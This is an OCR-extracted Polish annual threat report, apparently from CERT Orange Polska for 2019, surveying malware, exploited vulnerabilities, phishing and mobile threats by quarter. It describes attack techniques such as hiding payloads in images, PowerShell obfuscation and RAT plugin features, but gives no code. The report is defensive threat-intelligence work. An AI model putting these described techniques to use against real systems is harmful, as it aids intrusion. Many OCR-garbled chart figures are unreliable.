Adds various functions, settings, and information about clients. It is recommended that you leave this plugin enabled.

” Management Plugin
Adds remote console, registry editor, task manager, and file browser.

& ManagementEx Plugin
Adds clipboard, startup, installed programs and window manager.

& Network Plugin
Adds UPnP, NAT-PMP, and reverse SOCKS 5/4A support

 security Plugin
Provides access to firewall and anti-malware tools and information.

« Surveillance Plugin
Adds support for remote desktop, webcam, and audio feeds.

« Tools Plugin
Adds instant messaging, upload and execute, download and execute, clear memory, clear processes, and other
miscellaneous tools.

@
C)
@

Najczesciej wykorzystywang podatnoscia pierwszego
kwartatu okazat sie by¢ exploit przygotowany pod
framework developerski — ThinkPHP. W epoce mediow
spotecznosciowych i cyfryzacji rosnie potrzeba posiadania
atrakcyjnych i przyjemnych w uzytkowaniu witryn webo-
wych. Rynek staraja sie zaspokoi¢ wszelkiej masci CMS-y
oraz frameworki stuzgce do budowania stron internetowych
takich jak ThinkPHP, co z kolei napedza cyberprzestepcéw
do szukania i wykorzystywania podatnosci takich jak
CVE-2018-20062. ThinkPHP exploit pozwalajgcy na
stownikowe przetamanie zabezpieczen i dostep do
administracyjnych paneldéw web serwiséw byt wykorzysty-
wany w wariantach Botnetéw Miraia i Gafgyta do dystrybucji
atakéw DDoS dodatkowo powiekszajac szeregi tych
Botnetéw o kolejne urzadzenia zombie.

Ataki socjotechniczne oraz malvertising zaliczyty

niewielki spadek w stosunku do ostatniego kwartatu

2018 r., jednoczesnie zajmujac stabilng pozycje wsréd
najczestszych zagrozen wytudzajgcych dane osobowe,
wykradajgcych poswiadczenia, a takze przekierowujgacych
na strony serwujace ztosliwy kod.

17 powyzszych zestawien wykluczone zostaty sieci martwych Botnetow oraz zlosliwe oprogramowanie z rodziny downloaderéw
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O ransomware stow kilka

Z poczatkiem roku 2019 ransomware po raz pierwszy od 6 miesiecy zaliczyt wzrost swojej aktywnosci
w sieciach klientow indywidualnych zaburzajac stopniowa tendencje przeksztatcania tego narzedzia w bron
skierowang przeciw duzym korporacjom czy instytucjom sektora publicznego.

Aktorem odpowiedzialnym za te anomalie byt wywodzacy sie z nie tak wcale dalekiego wschodu Shade

aka Troldesh.

W latach poprzednich liczba rodzin ransomware’u powiekszata sie niczym dtug publiczny az do roku 2018, gdzie
wymuszong innowacyjno$¢ postanowiono zastgpi¢ usprawnieniem sprawdzonych wczesniej rozwigzan.

W ten sposob na $wiatowy rynek w styczniu 2019 r. wrocit Shade, ransomware pobierany w spakowanym w archi-
wum skrypcie. Te dos$¢ staro$wieckie metody dostarczenia ztosliwego kodu na stacje ofiary nie przeszkodzity mu

w przescignieciu GandCraba na liScie najczestszych rasnomware’6w w Polsce na przestrzeni kwartatu i catego roku.

Niemniej aktywnos¢ Troldesha w sieci klienckiej stanowi raczej pochodnag od szkdd jakie spowodowat wsréd
firm i instytucji publicznych w Stanach Zjednoczonych, Niemczech i na Ukrainie.

Dlaczego? Bo liczy sie jakos$é, a nie ilo$¢. Ransomware moze dostac sie na stacje bezposrednio poprzez
wykorzystanie podatnosci w atakowanym celu lub zosta¢ dostarczony przez inne oprogramowanie z rodziny
downloaderéw czy backdooréw w dogodnym dla siebie terminie, pozwalajgc uprzednio zebraé informacije
na temat atakowanego celu, jego infrastruktury czy stopnia wrazliwosci przechowywanych danych. Dopiero
namierzajgc wiasciwy cel o odpowiednio gtebokich kieszeniach, ransomware jest dostarczany na urzadzenia
ofiary. Tak byto w przypadku Ryuka, dystrybuowanego przez Emoteta. Tak byto w przypadku Ransomware
BitPaymera, dostarczanego przez Dridexa i tak bedzie w wielu kolejnych przypadkach niezaleznie

od wtasciwego wektora odpowiedzialnego za jego propagacje.

Koniec pierwszego kwartatu to tez jedna istotna zmiana
na rynku kryptowalut. Pomimo wysokich przychodow
oscylujacych okoto 1 min ztotych miesiecznie i niemalze
kompletnej wytacznosci na rynku przegladarkowych
koparek kryptowalut, serwis Coinhive ogtosit 26 lutego
wytgczenie swoich ustug z uwagi na ich nierentownosé,
spowodowanag niskg wartoscig rynkowg waluty Monero

i zmianami w algorytmie spowolniajgcymi proces ,kopania”.

Na efekt nie trzeba byto dtugo czekaé. Od poczatku

marca stopniowo rejestrujemy spadek aktywnosci przegla-
darkowych koparek, zgodnie z przewidywaniami, zamykajac
sage skryptow monetyzujacych. Natura nie znosi jed-

nak prozni i w miejsce CoinHive’a, w tym samym okresie
rozpoczyna sie stopniowy wzrost narzedzi dostarcza-

nych bezposrednio na stacje uzytkownikéw w celu wydo-
bycia wartosci z jej wykorzystanych zasobdw, ktory

swoj szczyt zanotuje dzieki wykorzystaniu podatnosci
Bluekeepa kilka miesiecy pozniej.

2. kwartat 2019

Najistotniejszg zmiang w $rodowisku cyberzagrozen
drugiego kwartatu byto znikniecie Emoteta z grupy
aktywnych zagrozen z koncem maja 2019 roku.

To tez okres, w ktérym zarejestrowaliSmy najmniej
incydentéw w sieci Orange Polska w roku 2019
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(spadek 0 25% w poréwnaniu do kwartatu pierwszego).
Wakacyjna przerwa Emoteta skumulowata sie ze wzrostem
trojanéw bankowych i wykradajacych dane infostealeréw
(kategoria malware’u). Wsréd tych pierwszych dominowat
Ursnif aka IFSB/Gozi, wyprzedzajgc znaczgco zarbwno
Danabota jak i Trickbota. Blisko co trzeci banker w sieci
Orange Polska mozna byto identyfikowac z infekcja
Ursnifa, ustalajac tym samym trend, ktéry bedzie konty-
nuowany w drugiej potowie roku. Sam kod, obchodzacy
juz dziesieciolecie, przeszedt kolejne zmiany w swojej
strukturze, wzbogacajac sie o dodatkowg metode
zaciemnienia danych — obfuskacje powersellowego
skryptu szyfrem Vigenere, a takze techniki steganografii
pozwalajgcej na ukrycie ztosliwego kodu w rzeczywistym
pliku graficznym poprzez manipulacje i konkatenacje
(taczenie) dwodch bitow LSB (Leat Significant Bits)

z kazdego bajta pobranego obrazka. Kolejne udoskona-
lenia i faczenia logiczne zakodowanych na rézne sposoby
fragmentow powershellowego kodu sprawity, ze od
momentu uruchomienia skryptu do faktycznej préby
dostarczenia payloadu, skrypt przechodzit (w zaleznosci
od wersji systemu Windows) nawet do dziesieciu poszcze-
gblnych etapow.

Najczesciej wystepujace
zdarzenia w 2Q 2019 roku
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Na pozycji najczesciej nawiedzajgcego Polske ztodzieja
danych i po$wiadczen uplasowat sie Lokibot, ktérego
kolejna aktualizacja réwniez pozwolita na dostarczenie
payloadu w postaci pliku graficznego. W tym jednak
przypadku technika przemycenia kodu polegata na
wykorzystaniu podatnosci w charakterystyce struktury
plikéw PNG, ktore pozwalajg na umieszczenie dodatkowych
danych juz po linii IEND oznaczajgcej koniec sktadni
obrazu. W ten spos6b dodatkowe archiwum z wiasciwym
malwarem mogto zostaé¢ uruchomione, ztosliwy kod
wstrzykniety do pamieci RAM komputera ofiary,

a komunikacja z serwerem C2 otwarta.

Podobnie jak o tej samej porze roku 2018 i w tym nie
zabrakto atakéw MageCart, wykorzystujacych ztosliwe
skrypty JS do kradziezy danych kart kredytowych ofiar,
odwiedzajgcych zainfekowane i przejete internetowe
sklepy. Tym razem jednak zmieniono nieco forme
ataku, wymuszajgc na uzytkownikoéw wpisanie danych
karty dwukrotnie. Pierwszy raz na stronie sklepu

w celu kradziezy danych, a potem po raz drugi w celu
faktycznego potwierdzenia tozsamosci w serwisie
transakcyjnym.

Wsrdd najczesciej wykorzystywanych podatnosci,

jak przez wiekszo$¢ potrocza, dominowat ThinkPHP
Exploit. To wtasnie w tym kwartale pojawit sie nastepca,
ktéry miat go w przysztosci zdetronizowac. Bluekeep
(CVE-2019-0708), bo o nim mowa zostat opublikowany

jako kluczowa podatno$¢ umozliwiajgca zdalne
wykonanie kodu w ustugach pulpitu zdalnego systemu
Windows. | podobnie jak na $wiecie, tak réwniez

i w Polsce proby wykorzystywania podatnosci - explo-
itowania bluekeepa, trzykrotnie przebity catg swoja
konkurencje w segmencie podatnosci.

Wiosna 2019 roku to takze wzrost aktywnosci scamo-
wych. Wiodgca kampania polegata na wykorzystaniu
ustug chmurowych Microsoftu — Azure App Service

do masowego generowania stron wytudzajgcych dane,
w czym prym wiodty fatszywe strony techniczne samego
Microsoftu. Ostrzegaty one uzytkownikéw o infekcji
wirusem, do ktérego usuniecia nalezato pobrac¢ inny plik,
hostowany oczywiécie w Chmurze Microsoftu — Azure
Blob Storage. Wszystko za$ odbywato sie w biatych
rekawiczkach i pod znakiem zielonej ktédki podpisanej
certyfikatem Microsoftu.

Po zamknieciu CoinHive wydawato sie, ze CoinMinery
na state znikng z zestawienia TOP10. Nic bardziej
mylnego. Znaczny wzrost notowan Bitcoina na gietdzie
przyciagnat przed terminale przestepcéw wykradajacych
portfele BitCoinowe lub zwyczajnie zasoby komputera
przy wykorzystaniu socjotechnicznych fraudéw

i malvertismentu.

Ostatnig rzeczg o jakiej nalezy wspomnie¢ w drugim kwartale
2019 r. jest pozegnanie GandCraba, ktérego developerzy
po 18 miesigcach aktywnej i bez watpienia owocnej pracy
(ponad 2 miliardy dolaréw zysku z otrzymanych okupéw)
wycofali z rynku ustug ransomware-as-a-service.

Ten najbardziej popularny ransomware 2018 roku w sieci
Orange doczekat sie jednak nastepcy — ransomware’a
Sodinokibi. | choé Sodinokibi nie miat gtoénego debiutu

w roku 2019, sam malware opracowany byt o wiele
staranniej niz GandCrab gdy pierwszy raz opuscit swoje
laboratorium.

3. kwartat 2019

Tak jak drugi kwartat 2019 r. byt uksztattowany przez
znikniecie Emoteta z aktywnej listy dystrybuowanych
zagrozen, tak kwartat trzeci wyrdzniat sie z powodu
powrotu tego ztosliwego oprogramowania we wrzesniu.
W skali kwartalnej odnotowano wzrost liczby zdarzen

0 120%. Gtéwna w tym zastuga olbrzymiej kampanii
malspamowej ktéra nawiedzita sie¢ Orange Polska.
Przeszta juz ona do historii zarbwno ze wzgledu

na rekordowa liczbe unikalnych probek (ponad 25%
wszystkich prébek analizowanych w ciggu 3Q, tylko

w 2 tygodnie aktywnosci), bardzo szeroki zasieg
przeprowadzonej kampanii i, co za tym idzie, liczbe
wykrytych infekcji w ciggu pierwszych dwdch tygodni
ataku ($rednio co czwarty zarejestrowany atak dochodzit
do etapu dostarczenia dodatkowego payloadu).
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Najczesciej wystepujace
zdarzenia w 3Q 2019 roku

14%

8% 8% 8%
5% 5%

0
I I I 463%3%
11T

l—

=

Phish.Scam
Trojan.Emotet
Tool.CoinMiner
Trojan.Ursn
Botnet.Mira
Netwire.RA
njRat.RA
Trojan.Formbook
Botnet.Phorpiex

Gdy grupa TA542 odpowiedzialna za propagowanie
Emoteta wznowita kampanie 16 wrzesnia, na skrzynki
mailowe uzytkownikéw trafity starannie opracowane
spear-phishingi, modyfikowalne w zaleznosci od
geograficznej lokalizacji celu, instytucji zaufania publicznego
danego regionu czy biezgcych wydarzen na Swiecie

(np. phishing z okazji publikaciji ksiazki Snowdena).

Te wszystkie znane historycznie techniki TA542 potaczyta

z wykorzystaniem rzeczywistych e-maili przechwyconych

ze skrzynek ofiar w wyniku wczesniejszych kampanii.
Takie maile, podszywajagce sie pod nadawce,

z ktérego skrzynki zostaty wykradzione, byty przesytane
do uczestnikéw konwersacji wraz z zatgczonym
dokumentem inicjujgcym infekcje.

Samo oprogramowanie nie przeszto po reaktywaciji
drastycznych zmian. Tym, co sie zmienito, byta praktycznie
catkowita rezygnacja z wykorzystania wtasnego modutu
bankowego na rzecz oprogramowania grup wspotpra-
cujacych (przede wszystkim Trickbota). Rezygnacja

z modutéw bankowych, dywersyfikacja typowo
botnetowych funkgcji i nieustannie poszerzanie infrastruktury
serweréw C2 stanowignajlepszg wizytdwke najwiekszej

w tej chwili ustugi malware-as-a-service na swiecie.

W sektorze podatnosci na pozyciji lidera umocnit sie
BlueKeep. Dalszy etap wzrostu atakdéw podyktowany
byt publicznym pojawieniem sie exploitow w dwdch
najpopularniejszych pentesterskich frameworkach:
Immunity Canvas i Rapid7 Metasploit.

W trzecim kwartale na scene zagrozen w wiekszym
stopniu niz dotychczas wkroczyty Botnety SPAMowe,
takie jak Pushdo czy Phorpiex. Szczegdlnie ten drugi
przypadek jest interesujacy, bo to wtasnie Phorpiex

ava SDBot odpowiadat za wysytke tysiecy wiadomosci
malspamowych z wykorzystaniem techniki Sextortion.
Sextortion to zabieg socjotechniczny, ktérego celem jest
wytudzenie pieniedzy od uzytkownika pod pretekstem
upublicznienia kompromitujacych zdje¢ i filméw video
wykonanych rzekomo bezposrednio z kamery zainfeko-
wanego komputera ofiary. Aby wzmocni¢ wiarygodnosé,
przestepcy dodawali przechwycone hasta (niekoniecznie
aktualne), zgromadzone w wyniku publikowanych
regularnie masowych wyciekéw danych, a nawet
fragmenty pornograficznych filmdw.

Keitaro TDS - czyli alternatywna metoda dostarczania ztosliwego oprogramowania

Systemy TDS (Traffic Direction System) to internetowe bramki przekierowujace ruch uzytkownikéw do okreslonych
zasobdw sieciowych na podstawie szeregu warunkow i filtrow. Warunki te pozwalajg na doktadniejsze profilow-
anie uzytkownikdw pozyskujac atrybuty, takie jak geolokalizacja, nazwa dostawcy ustug, wykorzystywany system
operacyjny czy przegladarka. Legalne instytucje, takie jak Keitaro wykorzystuja swoje systemy w celu optymalizacji
dostarczania kampanii reklamowych do potencjalnie najbardziej zainteresowanych zrédet.

Opisane powyzej mozliwosci systemoéw TDS stanowig atrakcyjny cel do naduzy¢ zaréwno w kampaniach click-
fraudowych, jak i w grozniejszych malvertismentowych tancuchach przekierowan, wykorzystujgcych legalng ustuge
i paczki Exploit Kitow do unikniecia wykrycia przy dostarczeniu ztosliwego oprogramowania na urzadzenia ofiary.

Jak przebiega wiec cata infekcja? Uzytkownik, klikajac w link reklamowy Keitaro, jest przekierowany na strone
malvertisingowa, ktora przekierowuje jego ruch na kolejng witryne z osadzonym exploit kitem serwujgcym ztosliwy
skrypt VBS czy JS. Warto wspomnie¢, ze wszystkie odwiedzane po kolei strony moga zawiera¢ absolutnie wiary-
godne tresci, co sprawia, ze infekcja jest nie tylko trudna do wykrycia, ale i zablokowania.

W sieci Orange mechanizm ten szczegdlnie upodobaty sobie ztosliwe oprogramowania, wykradajgce dane
i poswiadczenia, w tym AzorUlt, Predator, Vidar, KPot, ale takze Gootkit czy Danabot.

4. kwartat 2019

Koncowka roku, cho¢ zdominowana przez Emoteta,

byta Swiadkiem aktywnosci innych powracajacych za-
grozen. To w 4. kwartale 2019 r. odnotowaliSmy najwiekszg
liczbe zdarzen w skali roku (wzrost o ponad 200%

w stosunku do kwartatu poprzedniego), a obok Emoteta
skuteczne kampanie malspamowe przeprowadzaty takze
grupy odpowiedzialne za Ursnifa (podszywajac sie miedzy
innymi pod operatora Play) czy Backdoor Netwire
(podszycia pod ZUS).

Oprogramowaniem, ktore najbardziej skorzystato na
zasiegu Emoteta byt trojan bankowy Trickbot aka Trik.
Jako najczesciej dostarczany malware w procesie infekcji,
Emotetem zastapit Zeusa Pande, ktéry petnit te role w
roku 2018. Trickbot podobnie jak wiekszos$¢ rozwijanych
malware’éw, sktada sie z osobnych modutéw, dostarcza-
nych na stacje ofiary w postaci bibliotek dll. Oprécz
podstawowej funkcji wstrzykujacej do przegladarek kod
przechwytujacy potaczenia uzytkownika do serwiséw
bankowych, Trickbot rozbudowany zostat m.in. o funkcje
kradziezy danych z przegladarek, rozpoznawania otocze-
nia sieciowego, kradziezy danych uwierzytelniajgcych

z systemu operacyjnego czy mozliwosci propagacii

po protokotach LDAP i SMB.

4. kwartat to takze czas aktualizacji trojana Gafgyta.
Gafgyt aka Bashlite ktéry zadebiutowat w roku 2014,
namierzat podatne urzadzenia sieciowe do przeprowadza-
nia atakéw DDoS. Podobnie jak inny Botnet dystrybuujacy
DDoS-y Mirai, zyskat na znaczeniu wraz ze wzrostem
liczby ,inteligentych” urzadzerh domowych czy zarzadza-
nych sieciowo kamer i systeméw DVR. Tym razem

Gafgyt atakowat nie tylko rutery i inne sieciowe urzadzenia
domowe, ale takze konkurencje. Jesli chodzi o urzadzenia
sieciowe, Gafgyt korzystat z nienowych juz podatnosci

na urzadzenia Zyxela (CVE-2017-18368), Huaweia
(CVE-2017-17215) oraz Realteka (CVE-2014-8361).

W przypadku infekcji urzadzen ioT — Gafgyt wykonuje
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symultanicznie kilka atakéw DDoS w celu nieautoryzo-
wanego dostepu do sekcji zarzgdzania sprzetem.
Dodatkowym celem atakéw Gafgyta sg serwery pracujgce
na silniku VSE od firmy Valve, umozliwiajgce rozgrywki
sieciowe dla graczy. Po skutecznej fazie infekcji, malware
wykonywat jeszcze jedna funkcje wyrdzniajaca go sposrdd
podobnych narzedzi — usuwat wszystkie inne rootkity
Botnetow, ktorymi zainfekowane byto urzadzenie,
przejmujac na wytgcznos$¢ kontrole nad sprzetem ofiary.

W sektorze wytudzen kwartat czwarty nie okazat sie inno-
wacyjny, jednak wartym odnotowania faktem jest wysyp
tak zwanych fake newsow czyli fatszywych wiadomosci,
prezentujgcych sylwetki znanych celebrytéw i sportowcow,
zachwalajacych konkretny produkt czy ustuge. Cato$¢
opakowana w wiele obrazkdw, odniesien do fatszywych
komentarzy z mediéw spotecznosciowych czy popular-
nych programéw telewizyjnych (np. Kuba Wojewoddzki
Show), naktaniata w omawianym przez nas przypadku

do rejestracji w programie BitCoin millionaire. Rejestracja
jest rzecz jasna ptatna, a szans na zarobek, jak mozna
sie domysli¢, nie ma wcale. W taki sposéb wykorzystano
wizerunek m.in. Roberta Lewandowskiego, Kamila
Stocha, Krzysztofa Pigtka, Marcina Prokopa czy Huberta
Urbanskiego.

Kalendarzowa jesien 2019 r. to tez okres kolaboracji
blukeepa i koparek kryptowaluty Monero. Byt to pierwszy
przypadek wykorzystania podatnosci na szerokg skale

w celu infekcji niezaktualizowanych urzadzen ztosliwym
oprogramowaniem. Dostarczony na serwery zakodowany
payload uruchamiat skrypt w powershellu pobierajacy
wiasciwe narzedzie kopigce. Sam skrypt nie posiadat
funkcji propagujacej go na inne urzadzenia, ale dostepnos$é
narzedzi do wyszukiwania i namierzania serwiséw

z niezatatang podatno$cia sprawita, ze atak trafit na
bardzo podatny grunt. W sieci Orange Polska nie
odnotowano zwiekszenia liczby atakéw z wykorzystaniem
CVE-2019-0708, ale przeszto 30% z nich nosito znamiona
infekcji narzedziem kopigcym kryptowalute Monero.

Aktywnos¢ zagrozen typu Fileless w sieci Orange

Malware bezplikowy to ztosliwe oprogramowanie istniejace wytgcznie jako artefakt w pamieci systemu infeko-
wanego urzadzenia. Nie pozostawia sladow swojej aktywnosci na dysku ofiary, czynigc systemy detekcji bazujace
na sygnaturach kompletnie bezuzytecznymi. Ponadto bezplikowce pozostawiajg w zainfekowanym systemie

bardzo mato ewidencji, ktore mozna by wykry¢ stosujgc nawet zaawansowane narzedzia do analiz powtama-
niowych. Klasyczng metoda uruchomienia infekcji jest wykorzystanie powershellowego skryptu do przeprowadzenia
wstrzykniecia pobranego z zewnetrznej domeny kodu prosto do uruchomionego procesu w pamieci urzadzenia.

I choé¢ mozliwe jest przeprowadzenie petnego etapu infekcji bez pozostawienia na dysku ofiary choéby sladu,
najczestszym wyzwaniem tego scenariusza jest samo dostarczenie inicjalnego skryptu do atakowanego systemu.
Znaczna czes$é zidentyfikowanych przez Orange Polska infekcji opierata sie na kampaniach malspamowych

osadzajgcych skrypt w vbs-ie ztosliwego dokumentu.

Fizyczne pliki pojawiaty sie rowniez w procesie eksfiltracji danych podczas komunikacji z serwerami zdalnego
zarzgdzania. Do rodzin malware’u wykorzystujgcych przynajmniej czesciowo egzekucije ztosliwego oprogramo-
wania w postaci bezplikowej nalezg bankery IceDid i Ursnif, Kovter Stealer, czy koparka Monero Pcastle.
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POdsumowanie ro ku 201 9 Wiekszy niz w roku poprzednim i stale rosnacy udziat o I°P5 trojanow TOPS Botnetow
- - - - : . : . ankowych wykrywanych
W sieci StaCjonarnej we wszystkich zagrozeniach majg takze Botnety 49 /0 krywanvch w 2019 roku
biorgce na cel systemy operacyjne niepracujace pod w“yzo' 1” 9wrolzu

szyldem Microsoftu. Obecno$¢ na liscie Miraia i Gafgyta
dobitnie pokazuje jak duze znaczenie ma przyktadanie
wagi do bezpieczenstwa urzgdzern domowego uzytku.

Od ruteréw zaczynajagc, na lodéwkach i pralkach konczac.
Z kolei koparki kryptowalut, cho¢ nadal zachowaty miejsce
na liscie najczesciej rejestrowanych zagrozen, przeszty

w roku 2019 interesujgcg ewolucje. | cho¢ zamkniecie
projektu CoinHive odbito sie na liczbie zarejestrowanych

Zestawienie ogdlne po raz kolejny potwierdza, ze jesli
chodzi o cyberzagrozenia, uzytkownicy polskiego
internetu sg narazeni na te same metody atakdw i rodziny
ztosliwego oprogramowania, co nasi zachodni sgsiedzi.
Co interesujgce, bardzo wiele kampanii (Danabot, Ursnif
czy Netwire RAT) byto niemal zbiezne w terminach
przeprowadzania kampanii i wykorzystanej infrastruktury

gfn?:rc’f\?vgirgfggnr;’t))zgp?ivej/s;gr?;v\p/razez wioskich threat zdarzen (niemal pieciokrotnie) to jednak dzieki wzrostowi 270/0
’ kursu BitCoina, nowym metodom dystrybucji narzedzi
. . . ) L kopigcych (filmy w serwisie YouTube z linkami do instrukcji
w ZW'qz.k u z tym nikogo nie powinno d.Z'W'C’.Ze 'T‘°d“'. jak zarobi¢ fortune na BitCoinie, scamy w serwisach
larny trojan Emotet aka Heodo stanowit co pigtg infekcje chmurowych), a takze podatnosciom takim jak Bluekeep 17 0/
wykryta w sieci Orange. Zwtaszcza w ostatnim kwartale mozemy byé ,pewni 76 jeszcze diugo nie zapomnimy ’ 0
tego roku kompletnie zdominowat scene ztosliwego o Cryptojackingu ’
oprogramowania, zalewajgc swiat setkami maili dziennie '
z wykorzystaniem réznych socjotechnicznych metod 2019 byt rokiem zdominowanym przez Emoteta.
na przekonanie uzytkovynika do uruchomienia dokumentu Jak udowodhnilismy w raporcie, nie tylko to jedno
ze sll(ryptem V.bs’ od"kt(?rego z reguty rozpoc’:zyna’ry sie zagrozenie brato znaczacy udziat w uksztafttowaniu 3%
kolejne etapy infekci © fiary. Wedle szac.:unkow Orange krajobrazu cyberzagrozen, ktére przynidst nam schytek 0
Polska okoto 30% unikalnych przeanalizowanych probek dekady. Za rok przekonamy sie, jakie nastapia zmiany. 1 A-,
dostarczaty na urzadzenia koricowe wiasnie Emoteta, ' ’ ' —
ponad dziesieciokrotnie wiecej niz drugi w kolejnosci - e o -_
Brushaloader. 5 é § 3 3
5 2 g &6 8 . |
. a o\ 1}
< 9
Najczesciej wystepujace zdarzenia Rodzaje zagrozen wykrywanych TOP5 Stealeréw wykrywanych g §
infekcji w roku 2019 w 2019 roku w 2019 roku S

TOP5 Backdoréw wykrywanych
w 2019 roku

27% )
23% 29%

15%
14% 16%
8% 13%
9%
I I I 6%

20%

12%
8%7"/
°6% 5%
3%
I I o 1% 1%

II-
= T - o 5 o 0 o
G)Ed) O © o - EL (o) =
‘5“.5%5'=m-8._ g o-EQN X o > = a
3] 4 s X ® 2 o T T X ® = o 5 o
E 49 2 3 8 ¥ 8 ¢ B @ 8 ¥ 8 & E e & § 2 £
e 2 5 5§ % 2 % § % g - g g & 3 g 5 % § % e & g8 2 2
.EEQ'E‘E‘?;%:'S hE_ o 5 = E 9 2& EESOE
3 3 F 8 @ 5 § 3 2 s & T E 8 £
- o () E '3 X o 9 o e ¥
= |—|gg = T 8
=
m

22 23



Raport CERT ORANGE POLSKA 2019

Raport CERT ORANGE POLSKA 2019

Ztosliwe oprogramowanie
w sieci mobilnej

1495 211

Malware Object

239 336

Web Infection

312 407

Zagrozenia w sieci mobilnej stanowia juz powyzej 40% wszy-
stkich zidentyfikowanych w sieci Orange Polska. W poréwna-
niu do ubiegtego roku liczba zagrozen wzrosta niemalze
dwukrotnie (o ponad 900 tysiecy sklasyfikowanych zdarzen),
a ich przekroj z roku na rok coraz wierniej odzwierciedla
rodzaje ztosliwego oprogramowania w sieci stacjonarne;.

Wystapienia infekcji mobilnych wedtug
systemu operacyjnego ofiary

o

B Android i0OS

W kontekscie podziatu na systemy operacyjne nie zanoto-
walidmy relatywnie zadnej zmiany w poréwnaniu z rokiem
ubiegtym, ale biorgc pod uwage znaczny wzrost liczby
zagrozen mobilnych, rzeczywista liczba zagrozen na smart-
fony i tablety spod znaku jabtka wzrosta o ponad 70%.

iOS cho¢ nigdy nie byt platformg kompletnie pozbawiong
zagrozen, w zwigzku z jego hermetycznie zamknigtym
$rodowiskiem, o wiele trudniej spenetrowaé niz inne systemy
operacyjnie niezaleznie od platformy sprzetowej. Niemniej
rok 2019 przyniost m.in. publikacje dwéch podatnosci Zero-Day
(CVE-2019-7286, CVE-2019-7287) i kilkunastu juz znanych,
ktore w potgczeniu ze sobg pozwalaty na dostarczenie
ztodliwego oprogramowania na urzadzenie ofiary. Innym
przyktadem niech bedzie 17 aplikacji zidentyfikowanych

w AppStorze wyposazone w iOS.Clickera, ktory oprécz
funkcji wyswietlania niechcianych reklam, pozwalat

na szpiegowanie uzytkownikéw, a nawet przeprowadzenie
ograniczonej rekonfiguracji ustawien telefonu.

24

Najczesciej wystepujace
ztosliwe oprogramowanie
w sieci mobilnej w 2019 roku

23%

10%

8%
I 3% 3%

Triada
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HiddenAd

Guerrilla

Rootnik
Anub

Podobny w charakterystyce dziatania, tylko namierzajgcy
systemy Android, HiddenAd byt bezdyskusyjnym numerem
jeden wsrod ztosliwego oprogramowania na urzadzenia
mobilne. Podobnie jak w przypadku niezabezpieczonego
Appstore’a, HiddenAd mogt zosta¢ dostarczony na urza-
dzenie ofiary poprzez niezweryfikowane aplikacje w sklepie
GooglePlay. Warto jednak opowiedzie¢ o innej interesujace;j
metodzie, ktéra na szersza skale zadebiutowata w sieci
Orange Polska w potowie roku i postuzyta do dostarczenia
na urzgdzenia mobilne takich zagrozen jak bankowy
Cerberus, wielofunkcyjna Triada czy HiddenAd wiasnie.

Cyberprzestepcy wykorzystali starg podatnos¢ stuzacg m.in.
przy kopaniu kryptowalut — Fake jsquery. Fake jsquery polega
na infekcji internetowych witryn powigzaniem do hostowa-
nego na zewnetrznej infrastrukturze JS’a. Jednakze w odréz-
nieniu od innych kampanii wykorzystujgcych te metode do wy-
zwolenia jednej konkretnej akciji, aplikowany skrypt jest o wiele
bardziej wyrafinowany. W tym wypadku zawarto$¢ strony
wyswietlana uzytkownikowi koicowemu potrafita rézni¢ sie
w zaleznosci od geolokalizacji urzadzenia i jego user-agenta,
posiadajgcego identyfikator systemu operacyjnego ofiary.

Tak oto uzytkownicy Windowsa w Polsce, trafiali na inng
strone niz uzytkownicy ze Standéw Zjednoczonych, a wtasciwa
aplikacje byli w stanie pobrac przez tancuch przekierowan,
reklam i socjotechniki tylko posiadacze Androida.

Drugie miejsce na liscie TOP 5 ztosliwego oprogramowania
mobilnego w sieci Orange zajmuje bezdyskusyjnie kolejny
z pozoru niegrozny Trojan — Guerilla. Guerilla pochtania

zasoby urzadzenia i wyczerpuje baterie poprzez agresywne
wykorzystywanie technik click-fraudowych do monetyzacji
uruchamianych bez zgody uzytkownika reklam. Na tym
funkcjonalnosci Guerrilli sie nie koncza. Dzieki backdoorowe;j
architekturze, jest w stanie zdalnie dostarczy¢ i uruchomié
zewnetrzny payload, dodajgc tym samym urzadzenie ofiary
do znacznie szerszego Botnetu.

Rootnik aka Rooter i Triada to zagrozenia, ktére utrzymaty
swojag pozycje z roku 2018. Jak wskazuje sama nazwa,
Rootnik stanowi najbardziej popularny rootkit, pozwalajgcy
atakujgcemu na przejecie uprawnien do infekowanego urza-
dzenia. Triada to z kolei wielofunkcyjny backdoor, posiadajacy
moduty do uruchamiania niechcianych reklam, wykradania
danych z telefonu czy wykonywania bankowych webinjectow.
Swojg diugowieczno$é zawdziecza zas posrednio firmie
Google, a bezposrednio podwykonawcom jej podwykonaw-
cow, ktorzy podczas tarcucha produkcyjnego zainfekowali
czesc telefondw zanim te wydostaty sie nawet z fabryki.

Zestawienie zamyka BankBot aka Anubis, znany juz dobrze
Polakom trojan bankowy podszywajacy sie pod rézne
zaufane aplikacje, a ktéry po kolejnych aktualizacjach jest

w stanie przechwycié operacje realizowane w 188 instytu-
cjach finansowych. Oprocz tego developerzy wyposazyli

go w modut AnubisCrypt, umozliwiajgcy zaszyfrowanie plikow
zapisanych na urzadzeniu i kartach SD. Co ciekawe Anubis
jest w stanie otrzymywac instrukcje i polecenia od zarzadza-
jacego nim cyberprzestepcy poprzez media spotecznosciowe
(np. Twitter) czy komunikatory tekstowe (np. Telegram).

Rodzaje zagrozen w sieci mobilnej
wykrywane w 2019 roku
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PhishScam
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Wykres ,,Rodzaje zagrozen w sieci mobilnej wykrywane

w 2019 roku” w zestawieniu do analogicznego prezen-
tujgcego zagrozenia w sieci stacjonarnej stanowi idealne
podsumowanie metod dystrybucji atakdw i dostosowania
ich do bardziej podatnego urzadzenia. Przeszto trzy czwarte
wymierzonych w sie¢ mobilng atakéw stanowity szeroko
pojete wytudzenia (kampanie Sexortion na ekskluzywna
nagrode), podszycia (pod celebrytow opowiadajacych

o BitCoinach, pod legalne aplikacje w sklepie Google)

po zwykte oszustwa (Fake jquery, click-fraudy). Jest to
podyktowane zaréwno architekturg sposobu wys$wietlania
aplikacji i witryn (na mniejszym ekranie i przy ukrytych
szczegdtach utatwiajgcych rozpoznanie oszustwa), jak

i wieksza czestotliwoscig uzytkowania (smartfony
wytaczamy rzadziej niz komputery osobiste), co stanowi
idealng pozywke dla koparek kryptowalut, aplikaciji
malvertismentowych i kampanii smishingowych.
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Ataki wolumetryczne na klientow sieci Ataki DDoS - charakterystyka ruchu

Ora nge POISka Ponizej przedstawiamy charakterystyki ruchu dla najczesciej wykorzystywanych w atakach DDoS portéw protokotu
UDP na analizowanych taczach Orange Polska. Dane podawane na wykresach sa usrednione.

